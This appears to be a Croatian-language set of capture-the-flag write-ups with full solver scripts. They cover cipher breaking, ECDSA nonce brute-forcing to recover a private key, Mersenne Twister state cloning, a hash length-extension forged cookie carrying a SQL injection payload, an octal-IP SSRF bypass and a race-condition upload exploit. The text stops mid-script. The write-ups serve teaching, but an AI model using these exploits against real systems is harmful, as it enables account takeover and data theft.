print(f"\nTrying candidate {candidate_idx+1}: Line {line_idx+1}, Position {pos}")
try:
# Recover 8-byte key from "CTF2025[...]" pattern
key = recover_key(ciphertexts[line_idx], pos)
print(f" Recovered key: {key.hex()}")
# Decrypt flag line with anchored key
flag_decrypted = decrypt_line_anchored(ciphertexts[line_idx], key, pos)
try:
flag_text = flag_decrypted.decode('ascii')
except UnicodeDecodeError:
print(" Flag line decoding failed")
continue
# Validate flag format
if not is_valid_flag_line(flag_text, pos):
print(" Flag format validation failed")
continue
print(" Valid flag format found")
decrypted_lines = []
for i, ct in enumerate(ciphertexts):
decrypted = decrypt_line_anchored(ct, key, 0)
try:
text = decrypted.decode('ascii')
decrypted_lines.append(text)
except UnicodeDecodeError:
decrypted_lines.append("DECRYPTION_FAILED")
with open('decrypted.txt', 'w') as f:
for line in decrypted_lines:
f.write(line + '\n')
print("Results written to decrypted.txt")
print("\nFlag candidate:")
print(f"Line {line_idx+1}: {flag_text}")
return
except Exception as e:
print(f" Error processing candidate: {e}")
print("\nError: No valid candidates")
if __name__ == "__main__":
main()
Jumbo 2
Zadatak je generiran s naredbom python generator.py --flag "CTF2025[...]" --out cypher.txt --seed-key-len 12
Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat.
Iz naredbe u tekstu zadatka se vidi da je dužina ključa 12 znakova te se analizom koda može vidjeti da kod radi base64 enkodiranje plaintexta i onda koristi autokey Vigenere algoritam s nasumično generiranim ključem.
Ovaj zadatak se može riješiti na više načina. Obilježje algoritma šifriranja koje se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika.
Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje.
Rješenje u nastavku koristi genetski algoritam. Generiraju se nasumični ključevi, pronađu se najbolji kandidati za koje se dešifrirani tekst najuspješnije može base64 dekodirati u engleske riječi. Sljedeća generacija se stvara iz najboljih kandidata, uz miješanje kandidata i mutacije.
Skripta je kompatibilna s PyPy implementacijom, te se preporučuje njeno korištenje. Skripti se mogu mijenjati argumenti pri rješavanju, ako skripta ne uspije odmah pronaći rješenje, može se povećati broj generacija (argument gens - generations) i ponovno pokrenuti.
Skripti su potrebne datoteke:
english_wordlist.txt cypher.txt
dane uz zadatak.
Skripta se pokreće s pomoću pypy i danih argumenata:
pypy3 solver.py --cypher cypher.txt --wordlist english_wordlist.txt --seedlen 12 --gens 100
Ako skripta ne pronađe rješenje, povećajte zadnji parametar i ponovno pokrenite.
Skripta je dana u nastavku.
#!/usr/bin/env python3
import argparse
import base64
import binascii
import random
import re
import sys
import time
# Early-stop score threshold
STOP_SCORE = 2100.0
BASE64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GEN_ALPHABET = BASE64_ALPHABET + "="
ALPHABET_FOR_SEED = BASE64_ALPHABET # seeds do not include padding
# Flag regex
FLAG2025_TEXT = re.compile(br"CTF2025\[\d{12}\]")
SAMPLE_WORDS = set(["the","and","that","this","with","you","for","flag","secret","find","if","is","are","in","a","to","of","it"])
# ---------------- Utilities -----------------
def load_ciphertext(path):
"""Loads and cleans the ciphertext from a file."""
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
s = ''.join(line.strip() for line in f)
return ''.join(ch for ch in s if ch in GEN_ALPHABET)
def load_wordlist(path):
"""Loads a wordlist into a set."""
words = set()
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
w = line.strip().lower()
if w:
words.add(w)
return words
def decrypt_autokey(ciphertext, seed, alphabet=GEN_ALPHABET):
"""Decrypt ciphertext using an autokey Vigenere."""
index = {c:i for i,c in enumerate(alphabet)}
try:
cidx = [index[ch] for ch in ciphertext]
except KeyError:
return None
sidx = [index[ch] for ch in seed]
plen = len(ciphertext)
pidx = [None]*plen
seedlen = len(sidx)
for i in range(plen):
if i < seedlen:
k = sidx[i]
else:
k = pidx[i - seedlen]
if k is None:
return None
pidx[i] = (cidx[i] - k) % len(alphabet)
inv = {i:c for i,c in enumerate(alphabet)}
return ''.join(inv[v] for v in pidx)
def try_base64_decode_with_padding(b64text):
"""Try to decode a base64 string by using different paddings."""
for pad in range(0, 4):
s = b64text + ('=' * pad)
try:
decoded = base64.b64decode(s, validate=True)
return decoded, pad
except binascii.Error:
continue
# Tolerant fallback
try:
return base64.b64decode(b64text, validate=False), None
except Exception:
return None, None
def find_ctf2025_in_bytes(b):
"""Search for the flag pattern."""
if b is None:
return None
m = FLAG2025_TEXT.search(b)
if m:
try:
return m.group(0).decode('utf-8', errors='ignore')
except:
return m.group(0).decode('latin1', errors='ignore')
return None
def score_decoded_bytes(b, wordset):
"""Scores decoded bytes based on printable characters and wordlist matches."""
if b is None or len(b) == 0:
return -1e9
L = len(b)
printable = sum(1 for x in b if 32 <= x <= 126)
printable_ratio = printable / L
score = printable_ratio * 10.0
if printable_ratio > 0.6:
try:
s = b.decode('utf-8', errors='ignore').lower()
except Exception:
s = ''
words = s.split()
if words and wordset:
common_count = sum(1 for w in words if any(cw in w for cw in SAMPLE_WORDS) or w in wordset)
score += common_count * 2.0
if "ctf2025[" in s:
score += 2000.0
return score
# ---------------- GA helpers ----------------
def random_seed_string(length, rng):
"""Generates a random seed string."""
return ''.join(rng.choice(ALPHABET_FOR_SEED) for _ in range(length))
def initial_population(popsize, seedlen, rng):
"""Create the initial population of random seeds."""
return [random_seed_string(seedlen, rng) for _ in range(popsize)]
def mutate_seed(seed, rng, mutation_rate=0.15):
"""Mutates a seed string based on a mutation rate."""
s = list(seed)
for i in range(len(s)):
if rng.random() < mutation_rate:
s[i] = rng.choice(ALPHABET_FOR_SEED)
return ''.join(s)
def crossover(a, b, rng):
"""Perform a single-point crossover between two parent seeds."""
if len(a) != len(b):
return a
pt = rng.randrange(1, len(a))
return a[:pt] + b[pt:]
def evaluate_seed(ciphertext, seed, wordset):
"""Evaluates a single seed, returning its score and decrypted outputs."""
p_b64 = decrypt_autokey(ciphertext, seed)
if p_b64 is None:
return -1e9, None, None, None
if "CTF2025[" in p_b64:
return 1e6, p_b64, None, "in_b64"
decoded, pad = try_base64_decode_with_padding(p_b64)
found = find_ctf2025_in_bytes(decoded)
if found:
return 10000, p_b64, decoded, pad # found flag
sc = score_decoded_bytes(decoded, wordset)
return sc, p_b64, decoded, pad
# ---------------- GA core ----------------
def weighted_choice_index(probs, rng):
"""Selects an index based on a list of probabilities."""
r = rng.random()
cm = 0.0
for i, p in enumerate(probs):
cm += p
if r <= cm:
return i
return len(probs) - 1
def run_ga(ciphertext, wordset, seedlen, popsize=1500, gens=30, elitism=0.05, mutation_rate=0.12, rng_seed=None):
"""Runs the genetic algorithm to find the best decryption seed."""
rng = random.Random(rng_seed)
pop = initial_population(popsize, seedlen, rng)
pop_scores = []
best_overall = None
elitist_count = max(1, int(popsize * elitism))
print("\n--- Phase 1: Generating initial population... ---")
for seed in pop:
sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset)
pop_scores.append((sc, seed, p_b64, decoded, pad))
if best_overall is None or sc > best_overall[0]:
best_overall = (sc, seed, p_b64, decoded, pad)
if sc >= 9999: # Immediate flag detection
return best_overall, 0, pop_scores
print(f"\n--- Phase 2: Evolving population for {gens} generations... ---")
start_time = time.time()
for gen in range(1, gens + 1):
pop_scores.sort(reverse=True, key=lambda x: x[0])
best_score, best_seed, _, _, _ = pop_scores[0]
print(f"Gen {gen}/{gens} | Best Score: {best_score:.2f} | Best Seed: {repr(best_seed)}")
if best_score >= STOP_SCORE:
return pop_scores[0], gen, pop_scores
elites = [seed for _, seed, _, _, _ in pop_scores[:elitist_count]]
scores_for_wheel = [max(0.0, sc) + 1e-6 for sc, _, _, _, _ in pop_scores]
total_score = sum(scores_for_wheel)
probs = [s / total_score for s in scores_for_wheel] if total_score > 0 else [1 / len(scores_for_wheel)] * len(scores_for_wheel)
new_pop = elites.copy()
while len(new_pop) < popsize:
i1 = weighted_choice_index(probs, rng)
i2 = weighted_choice_index(probs, rng)
child = crossover(pop_scores[i1][1], pop_scores[i2][1], rng)
child = mutate_seed(child, rng, mutation_rate=mutation_rate)
new_pop.append(child)
pop = new_pop
pop_scores = []
for seed in pop:
sc, p_b64, decoded, pad = evaluate_seed(ciphertext, seed, wordset)
pop_scores.append((sc, seed, p_b64, decoded, pad))
if best_overall is None or sc > best_overall[0]:
best_overall = (sc, seed, p_b64, decoded, pad)
if sc >= 1e6:
print(f"\nHigh-scoring candidate found during gen {gen}.")
return (sc, seed, p_b64, decoded, pad), gen, pop_scores
print(f"GA finished {gens} generations in {time.time() - start_time:.1f}s")
pop_scores.sort(reverse=True, key=lambda x: x[0])
return best_overall, gens, pop_scores
# ---------------- Print & exit ----------------
def print_and_exit_on_flag(result_tuple):
"""Checks if a result contains the flag and exits if it does."""
if result_tuple is None:
return
sc, seed, p_b64, decoded, pad = result_tuple
found = find_ctf2025_in_bytes(decoded)
if found:
print("\n*** CTF FLAG FOUND ***")
print(found)
print("\nContext (base64 candidate excerpt):")
print((p_b64[:400] + ("..." if len(p_b64) > 400 else "")))
sys.exit(0)
def pretty_print_candidate(sol_tuple):
"""Prints a formatted summary of a solution candidate."""
sc, seed, p_b64, decoded, pad = sol_tuple
print("\n=== SOLUTION CANDIDATE ===")
print(f"Score: {sc:.2f}")
print(f"Seed: {seed}")
if p_b64:
print("Base64 candidate (excerpt):")
print(p_b64[:300] + ("..." if len(p_b64) > 300 else ""))
if decoded is not None:
try:
text = decoded.decode('utf-8', errors='ignore')
print("\nDecoded (utf-8 snippet):\n")
print(text[:1200])
except Exception:
print("Decoded binary length:", len(decoded))
print("=== End candidate ===\n")
# ---------------- CLI ----------------
def parse_args():
"""Parses command-line arguments."""
p = argparse.ArgumentParser(description="GA solver for Autokey Vigenere over Base64")
p.add_argument("--cypher", required=True, help="Ciphertext file")
p.add_argument("--wordlist", required=True, help="English wordlist for scoring")
p.add_argument("--seedlen", type=int, default=6, help="Seed length to search for")
p.add_argument("--popsize", type=int, default=1500, help="GA population size")
p.add_argument("--gens", type=int, default=30, help="Number of generations to run")
p.add_argument("--elitism", type=float, default=0.05, help="Fraction of elites to keep")
p.add_argument("--mutation", type=float, default=0.12, help="Per-character mutation probability")
p.add_argument("--seed", type=int, default=None, help="RNG seed for reproducibility")
return p.parse_args()
def main():
"""Main execution function."""
args = parse_args()
cypher = load_ciphertext(args.cypher)
if not cypher:
print("Empty ciphertext (after cleaning). Exiting.")
sys.exit(2)
wordset = load_wordlist(args.wordlist)
print(f"Loaded {len(wordset)} words for scoring.")
best, _, pop_scores = run_ga(cypher, wordset, args.seedlen, popsize=args.popsize, gens=args.gens, elitism=args.elitism, mutation_rate=args.mutation, rng_seed=args.seed)
if best:
# Check the best candidate from the run
print_and_exit_on_flag(best)
# No flag was found, show the top candidates
print("\nGA complete. No flag found automatically. Showing top candidates:")
pop_scores.sort(reverse=True, key=lambda x: x[0])
for i, (sc, seed, _, _, _) in enumerate(pop_scores[:10], start=1):
print(f"[{i}] score={sc:.2f} seed={seed}")
pretty_print_candidate(best)
print("GA finished without finding the flag. Try increasing population/generations or adjust parameters.")
sys.exit(1)
if __name__ == "__main__":
main()
ECDSA
Jesmo li dobro implementirali digitalni potpis? Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14004 ili Windows naredbom telnet chal.platforma.hacknite.hr 14004
Uz zadatak je dan i izvorni kod servera.
Ovaj zadatak koristi ECDSA (Elliptic Curve Digital Signature Algorithm) za enkripciju.
Ranjivost je u sign funkciji, u ovoj liniji koda
def sign(msg: bytes):
...
k = random.randint(1, 2**16 - 1)
Varijabla k je u rasponu 1 do 2^16, što je samo 65536 različitih mogućih vrijednosti i time se može pronaći bruteforce pristupom u prihvatljivom vremenu.
Kako bi se riješio zadatak, prvo se pošalje jedna poruka, na koju server odgovori s potpisom te poruke u kojoj su i vrijednosti r i s.
Enter message to sign: poruka1 SHA256(msg): 5496f1fcb56dc0744d463b322bbb4b2230e0ce41825a2984a19b5c258db21f33 r = 98154318813502776403537772725871540892940250991044631975797900508107983601605 s = 112433433771796392361992032339295692028196902438634484218793073151861495967099
vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala.
s se računa formulom:
s = (k_inverse * (h + r * priv)) % n
U ovoj jednadžbi, h, s i r su poznati, k i privatni ključ (priv) su nepoznati, ali zbog male vrijednosti k moguće ga je pronaći bruteforceom.
r = (k * G).x % n
Gdje su G i n standardne konstante krivulje SECP256k1 koja se koristi u zadatku, a r je također znan.
sk = SigningKey.generate(curve=SECP256k1) vk = sk.verifying_key G = SECP256k1.generator n = SECP256k1.order priv = sk.privkey.secret_multiplier
Kad se pronađe k, može se izračunati privatni ključ, nad kojim se radi SHA256 i potom XOR sažetka i flag-a.
Skripta koja ovim postupkom pronalazi flag je u nastavku.
#!/usr/bin/env python3
import sys
import socket
import hashlib
import base64
from ecdsa import SECP256k1
from ecdsa.ecdsa import generator_secp256k1
HOST = "chal.platforma.hacknite.hr"
PORT = 14004
G = generator_secp256k1
n = SECP256k1.order
def recv_until(sock, delim: bytes):
buf = b""
while not buf.endswith(delim):
chunk = sock.recv(1)
if not chunk:
break
buf += chunk
return buf
def sendline(sock, line: bytes):
sock.sendall(line + b"\n")
def parse_signature_block(block: bytes):
lines = block.split(b"\n")
h_line = [l for l in lines if l.startswith(b"SHA256(msg):")][0]
r_line = [l for l in lines if l.startswith(b"r =")][0]
s_line = [l for l in lines if l.startswith(b"s =")][0]
h = int(h_line.split(b":")[1].strip(), 16)
r = int(r_line.split(b"=")[1].strip())
s = int(s_line.split(b"=")[1].strip())
return h, r, s
def bruteforce_k_and_recover_priv(h, r, s):
for k in range(1, 2**16):
R = k * G
if R.x() % n != r:
continue
try:
r_inv = pow(r, -1, n)
d = (s * k - h) * r_inv % n
print(f"[+] Found private key: {hex(d)}")
return d
except Exception:
continue
raise ValueError("Private key not found")
def derive_keystream(priv_int: int, length: int) -> bytes:
key = hashlib.sha256(str(priv_int).encode()).digest()
stream = b""
while len(stream) < length:
key = hashlib.sha256(key).digest()
stream += key
return stream[:length]
def decrypt_flag(encrypted_b64: bytes, priv_int: int) -> bytes:
ct = base64.b64decode(encrypted_b64.strip())
ks = derive_keystream(priv_int, len(ct))
return bytes(a ^ b for a, b in zip(ct, ks))
def main():
with socket.create_connection((HOST, PORT)) as sock:
print("[*] Connected to server")
recv_until(sock, b"> ")
sendline(sock, b"1")
recv_until(sock, b"sign: ")
known_msg = b"known message"
sendline(sock, known_msg)
sig_block = recv_until(sock, b"> ")
h, r, s = parse_signature_block(sig_block)
print("[*] Got signature on known message")
d = bruteforce_k_and_recover_priv(h, r, s)
# Option 2: Get encrypted flag
sendline(sock, b"2")
encrypted_line = recv_until(sock, b"\n")
b64_ct = encrypted_line.split(b"Encrypted flag: ")[1]
flag = decrypt_flag(b64_ct, d)
print(f"[+] Decrypted flag: {flag.decode(errors='ignore')}")
if __name__ == "__main__":
main()
19937
Prati tok Spoji se Linux naredbom netcat nc chal.platforma.hacknite.hr 14006 ili telnet telnet chal.platforma.hacknite.hr 14006 ako koristiš Windows
Uz zadatak je dan i izvorni kod servera.
Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda.
Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maximum.
STATE_WORDS = 624
raw_state = [int.from_bytes(os.urandom(4), 'big') & 0xFFFFFFFF
for _ in range(STATE_WORDS)]
init_state = (3, tuple(raw_state + [STATE_WORDS]), None)
rng = random.Random()
rng.setstate(init_state)
U ovom smislu, jedna riječ je 4 bajta.
MT je pseudo nasumični generator brojeva, znači da koristi inicijalizirano stanje, odnosno 624 riječi za generiranje nasumičnih vrijednosti. Poznata je implementacija kako se iz stanja generiraju nasumični brojevi, te se inverzom tih operacija, uz dovoljnu količinu sekvencijalnih generiranih izlaza može rekonstruirati inicijalno stanje i predvidjeti sljedeći izlaz.
za inicijalno stanje od 624 riječi, potrebno je pročitati istu količinu sekvencijalnog izlaza, što je
624 riječi * 4 bajta po riječi = 2496 bajtova
To se može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera.
Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag.
Skripta za rješavanje zadatka je u nastavku.
#!/usr/bin/env python3
import subprocess, base64, random, sys
from math import ceil
# MT19937 parameters
w, n = 32, 624
u, s, t, l = 11, 7, 15, 18
d = 0xFFFFFFFF
b = 0x9D2C5680
c = 0xEFC60000
HOST = "chal.platforma.hacknite.hr"
PORT = "14006"
# untempering functions
def undo_right_shift_xor(y, shift):
last = y
for _ in range(0, w, shift):
last = y ^ (last >> shift)
return last
def undo_left_shift_mask_xor(y, shift, mask):
last = y
for _ in range(0, w, shift):
last = y ^ ((last << shift) & mask)
return last
def untemper(y):
y = undo_right_shift_xor(y, l)
y = undo_left_shift_mask_xor(y, t, c)
y = undo_left_shift_mask_xor(y, s, b)
y = undo_right_shift_xor(y, u)
return y
def recv_until(proc, prompt, desc=""):
buf = b""
while not buf.endswith(prompt):
ch = proc.stdout.read(1)
if not ch:
raise EOFError(f"EOF waiting for {desc}")
buf += ch
return buf
def recv_line(proc, desc=""):
return proc.stdout.readline()
def keystream_from_clone(clone, length):
out = bytearray()
words = ceil(length/4)
for _ in range(words):
w32 = clone.getrandbits(32)
out += w32.to_bytes(4, 'little')
return bytes(out[:length])
if __name__ == "__main__":
proc = subprocess.Popen(
["nc", HOST, PORT],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
# Initial interaction
recv_line(proc, "welcome")
recv_until(proc, b"> ", "menu")
# Leak keystream with null bytes
proc.stdin.write(b"1\n")
proc.stdin.flush()
recv_until(proc, b": ", "plaintext prompt")
num_bytes = 624 * 4 # 2496 bytes
proc.stdin.write(b"\x00" * num_bytes + b"\n")
proc.stdin.flush()
# Process leaked keystream
line = recv_line(proc, "ct leak")
ks_bytes = base64.b64decode(line.split(b"CT=")[1].strip())
# Convert to integers and untemper
nums = [int.from_bytes(ks_bytes[i:i+4], "little") for i in range(0, len(ks_bytes), 4)]
state = [untemper(v) for v in nums]
# Initialize clone PRNG
clone = random.Random()
STATE_WORDS = 624
clone.setstate((3, tuple(state + [STATE_WORDS]), None))
# Request flag
recv_until(proc, b"> ", "menu before flag")
proc.stdin.write(b"2\n")
proc.stdin.flush()
line2 = recv_line(proc, "flag ct")
ct_flag = base64.b64decode(line2.split(b"CT=")[1].strip())
# Generate keystream for flag length
ks_flag = keystream_from_clone(clone, len(ct_flag))
flag = bytes(a ^ b for a, b in zip(ct_flag, ks_flag))
# Safe flag output
try:
print("Flag:", flag.decode('utf-8'))
except UnicodeDecodeError:
print("Flag (raw bytes):", flag)
print("Flag (hex):", flag.hex())
proc.terminate()
Zapamti me
Rješenje zadatka dostupno je ovdje:
Produljeni sažetci
Kripto i web igrači/ce u vašem timu trebali bi surađivati na ovom zadatku. http://chal.platforma.hacknite.hr:14005/
Uz zadatak je dan i izvorni kod zadatka.
Ovaj zadatak ima dvije ranjivosti, prva ranjivost je Length extension attack nad session kolačićem, čiji se signature stvara kao sha256 sažetak app.secret_key varijable koja je nepoznata i korisničke ID vrijednosti.
data = app.secret_key + user_id_bytes signature = hashlib.sha256(data).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode()
Da je obrnuti redoslijed ovih dviju vrijednosti u signatureu:
data = user_id_bytes + app.secret_key signature = hashlib.sha256(data).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode()
Napad ne bi bio moguć.
Druga ranjivost je SQL Injection nad korisnikovim ID-om pročitanim iz korisničkog kolačića
auth_cookie = request.cookies.get('session')
...
parts = auth_cookie.split(':')
...
user_id_b64, signature_b64 = parts
...
user_id = base64_urlsafe_decode_with_padding(user_id_b64.strip())
...
cursor.execute(f"SELECT id, username FROM users WHERE id = '{safe_ascii_cast_from_bytes(user_id)}'")
Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je hlexstend.
SQL injection payload koji u middleware funkciji parsiranja sesije postavlja korisnika na admina je:
payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- "
Skripta koja koristi hlexstend alat kako bi generirala korisnički kolačić s ovim payloadom i signature za njega produljenjem sažetka je:
import base64
import sys
import hlextend
def ensure_padding(b64_str):
padding_needed = 4 - (len(b64_str) % 4)
if padding_needed != 4:
return b64_str + '=' * padding_needed
return b64_str
if len(sys.argv) != 2:
print("Usage: python exploit.py 'b64_userid:b64_signature'")
sys.exit(1)
original_cookie = sys.argv[1]
user_id_b64, original_sig_b64 = original_cookie.split(':', 1)
# Proper padding for input values
user_id_b64 = ensure_padding(user_id_b64)
original_sig_b64 = ensure_padding(original_sig_b64)
# Decode original values
original_user_id_bytes = base64.urlsafe_b64decode(user_id_b64)
original_sig = base64.urlsafe_b64decode(original_sig_b64)
# Attack parameters
key_length = 28 # Known secret key length
payload = "' AND 1=0 UNION SELECT id, username FROM users WHERE username='admin' -- "
# Perform length extension
sha = hlextend.new('sha256')
new_user_id_bytes = sha.extend(
payload.encode('utf-8'),
original_user_id_bytes,
key_length,
original_sig.hex()
)
# Get new signature
new_sig_hex = sha.hexdigest()
new_sig = bytes.fromhex(new_sig_hex)
# Base64 encode everything with proper padding
new_user_id_b64 = base64.urlsafe_b64encode(new_user_id_bytes).decode()
new_sig_b64 = base64.urlsafe_b64encode(new_sig).decode()
# Proper padding in output
new_user_id_b64 = ensure_padding(new_user_id_b64)
new_sig_b64 = ensure_padding(new_sig_b64)
malicious_cookie = f"{new_user_id_b64}:{new_sig_b64}"
print("Malicious payload Cookie:", malicious_cookie)
Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun. U nastavku je skripta koja to radi automatizirano, koristeći prethodnu skriptu te postavlja payload kolačić, šalje zahtjev i iščitava flag.
import requests
import random
import string
import subprocess
import sys
import re
# Configuration
HOST = "chal.platforma.hacknite.hr"
PORT = 14005
BASE_URL = f"http://{HOST}:{PORT}"
def generate_random_credentials(length=15):
chars = string.ascii_letters + string.digits
username = ''.join(random.choice(chars) for _ in range(length))
password = ''.join(random.choice(chars) for _ in range(length))
return username, password
def register_user(username, password):
data = {
'username': username,
'password': password,
'passwordCheck': password
}
response = requests.post(f"{BASE_URL}/register", data=data, allow_redirects=False)
if response.status_code == 302 and 'session' in response.cookies:
return response.cookies['session']
else:
print(f"Registration failed. Status: {response.status_code}")
print(f"Response headers: {response.headers}")
return None
def extract_payload_cookie(output):
if ":" in output:
parts = output.split(":")
if len(parts) > 1:
cookie_value = ":".join(parts[1:]).strip()
return cookie_value
return output.strip()
def get_flag_with_payload(payload_cookie):
cookies = {'session': payload_cookie}
response = requests.get(BASE_URL, cookies=cookies, allow_redirects=False)
print(f"Response status: {response.status_code}")
print(f"Response headers: {response.headers}")
if response.status_code == 302:
redirect_url = response.headers.get('Location', '/')
if redirect_url.startswith('/'):
redirect_url = BASE_URL + redirect_url
print(f"Following redirect to: {redirect_url}")
response = requests.get(redirect_url, cookies=cookies)
flag_pattern = r'CTF2025\[[^\]]+\]'
match = re.search(flag_pattern, response.text)
if match:
return match.group(0)
else:
error_match = re.search(r'message=([^"]+)', response.text)
if error_match:
print(f"Server message: {error_match.group(1)}")
return None
def main():
print(f"Target: {BASE_URL}")
print("Step 1: Registering a new user...")
username, password = generate_random_credentials()
print(f"Username: {username}")
print(f"Password: {password}")
user_cookie = register_user(username, password)
if not user_cookie:
print("Failed to register user or get cookie")
return
print(f"User cookie obtained: {user_cookie}")
print("\nStep 2: Generating admin payload...")
try:
result = subprocess.run(
['python', 'payload_gen.py', user_cookie],
capture_output=True,
text=True,
check=True
)
raw_output = result.stdout.strip()
print(f"Raw payload_gen output: {raw_output}")
payload_cookie = extract_payload_cookie(raw_output)
print(f"Extracted payload cookie: {payload_cookie}")
except subprocess.CalledProcessError as e:
print(f"Error running payload_gen.py: {e}")
print(f"stderr: {e.stderr}")
return
except FileNotFoundError:
print("Error: payload_gen.py not found in current directory")
return
print("\nStep 3: Retrieving flag with admin payload...")
flag = get_flag_with_payload(payload_cookie)
if flag:
print(f"\nFLAG: {flag}")
else:
print("Failed to retrieve flag")
if __name__ == "__main__":
main()
Web sigurnost
Neispravan gumb
Navodno je s ove stranice moguće doći do flaga, ali čini se da gumb ne radi http://chal.platforma.hacknite.hr:14014
Pritiskom na gumb, vraćena poruka je
{"error":"Unsupported Media Type. Use Content-Type: application/json."}
Zadatak se može riješiti pisanjem odgovarajućeg CURL zahtjeva.
curl -X POST "http://chal.platforma.hacknite.hr:14014/fetch_flag" \
-H "Content-Type: application/json" \
-d '{"flag": true}'
Skriveni API
Možete li pronaći API endpoint koji vam daje flag? http://chal.platforma.hacknite.hr:14015
Odlaskom na
http://chal.platforma.hacknite.hr:14015/docs/apidocs.txt
dobije se poruka
moved api docs to swagger
Odlaskom na
http://chal.platforma.hacknite.hr:14015/swagger
Dostupan je pregled endpointova, među kojima se vidi i “flag” endpoint
/super-secret-flag-storage-endpointascei3w2q
Također, na početnoj stranici vidi se da postoji obfuscirana skripta, koja se može deobfuscirati korištenjem web deobfuskatora
Može se vidjeti da se traženjem guest pristupa, šalje hash
84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec
na endpoint
/api/getguestaccess
Unosom ovog hasha na crackstation
vidi se da je to SHA256 sažetak riječi:
guest
može se zaključiti da se na endpoint, također vidljiv u swagger API specifikaciji
/api/getguestaccess
s opisom
Provides the admin cookie if the correct hash is provided.
treba poslati sha256 hash teksta “admin”. Slanjem ovog zahtjeva, dobiva se admin cookie, koji se treba postaviti i onda pristupiti flag endpointu.
Bash skripta koja rješava ovaj zadatak na opisani način je u nastavku.
#!/bin/bash
ADMIN_HASH=$(echo -n "admin" | sha256sum | awk '{print $1}')
echo "Admin hash: $ADMIN_HASH"
ADMIN_RESPONSE=$(curl -s -X POST http://chal.platforma.hacknite.hr:14015/api/getadminaccess \
-H "Content-Type: application/json" \
-d "{\"hash\":\"$ADMIN_HASH\"}" \
-c /tmp/cookie.txt)
echo "Admin access response: $ADMIN_RESPONSE"
FLAG_URL="/super-secret-flag-storage-endpointascei3w2q/"
FLAG_RESPONSE=$(curl -X GET -s http://chal.platforma.hacknite.hr:14015/api"$FLAG_URL" -b /tmp/cookie.txt)
echo "Flag response: $FLAG_RESPONSE"
Dohvati flag
Možete li dohvatiti flag koji je skriven na internoj stranici? http://chal.platforma.hacknite.hr:14021
Unosom poveznice interne lokacije na koju je premješten admin.html, vraća se greška da se točke ne prihvaćaju u hostnameu.
IP adresa se može zapisati u oktalnom zapisu, gdje nema točaka.
Za ovo postoji web konverter IP adrese u oktalni zapis.
Rezultat konvertiranja localhost (127.0.0.1) adrese u oktalnu bez točaka je:
0177.0000.0000.0001 (017700000001)
Ovime je zadatak riješen.
http://017700000001:1337/admin.html
Skriptarnica
Mjesto gdje možete uploadati svoje Python skripte i pokretati ih! http://chal.platforma.hacknite.hr:14020
Uz zadatak je dan i izvorni kod zadatka.
Ovaj zadatak ima ranjivost tipa Race condition, gdje se skripta koja se učitala, čak i ako ju server ocijeni opasnom i odluči obrisati, i dalje može izvršiti ako se zahtjev za izvršavanje skripte pošalje odmah nakon što se skripta učita.
Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa
/execute/<sha256(ime skripte).py>
Ako se kreira skripta koja uploada skriptu za čitanje flaga i odmah nakon toga pošalje zahtjev za njeno izvršavanje na opisani endpoint, uploadana skripta će se izvršiti i flag će se pročitati i biti ispisan.
Skripta koja rješava zadatak na opisani način je u nastavku.
# solver_threaded_and_correct.py
import requests
import time
import random
import string
import hashlib
from bs4 import BeautifulSoup
import threading
# --- Configuration ---
BASE_URL = "http://chal.platforma.hacknite.hr:14020/"
ORIGINAL_FILENAME = "payload.py"
# Credentials
username = ''.join(random.choices(string.ascii_lowercase, k=10))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
result = {}
def parse_and_print_result(html_content):
try:
soup = BeautifulSoup(html_content, 'html.parser')
article = soup.find('article')
if not article: return
error_div = article.find('div', class_='alert-error')
if error_div:
print(f"--- SERVER ERROR ---\n{error_div.get_text(strip=True)}")
return
stdout_label = article.find('label', string='Standard Output')
if stdout_label:
stdout_pre = stdout_label.find_next_sibling('pre')
if stdout_pre:
print("--- STDOUT ---")
print(stdout_pre.get_text())
stderr_label = article.find('label', string='Standard Error')
if stderr_label:
stderr_pre = stderr_label.find_next_sibling('pre')
if stderr_pre:
print("--- STDERR ---")
print(stderr_pre.get_text())
except Exception as e:
print(f"[!] HTML parsing error: {e}")
# --- Thread Functions ---
def uploader_thread(session, upload_payload):
try:
session.post(f"{BASE_URL}/upload", files=upload_payload)
except requests.exceptions.RequestException:
pass
def executor_thread(session, execute_url, server_delay):
start_time = time.time()
while time.time() - start_time < (server_delay + 0.5):
try:
resp = session.get(execute_url)
if not resp.history and resp.status_code == 200:
result['status'] = 'success'
result['content'] = resp.text
return
except requests.exceptions.RequestException:
pass
result['status'] = 'failure'
def main():
SERVER_DELAY = 0.1
with open(ORIGINAL_FILENAME, "w") as f:
f.write("print(open('flag.txt').read())")
